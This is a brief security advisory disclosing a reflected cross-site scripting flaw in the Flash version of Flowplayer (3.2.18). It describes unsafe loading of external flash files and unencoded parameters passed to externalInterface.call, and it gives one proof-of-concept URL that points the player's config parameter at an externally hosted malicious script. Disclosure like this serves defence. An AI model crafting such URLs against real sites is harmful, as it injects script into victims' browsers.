Reflected Cross-Site Scripting (XSS) in Flash Version of Flowplayer

[subs@xxxxxxxxxxxx]

Description:
The flash file accept its configuration via a JSON object. This object can be 
passed directly or via a file.
The old version of this flash file was vulnerable because of loading insecure 
external flash files. The latest version and the previous ones are also 
vulnerable because of lack of encoding/validation in the parameters that are 
used in externalInterface.call.
Both of these issues have been included in the flowplayer.js file. 
This file can be used like this:
/flowplayer-3.2.18.swf?config=http://0me.me/demo/xss/flowplayer/flowplayer.js

Reference:
https://github.com/flowplayer/flash/issues/263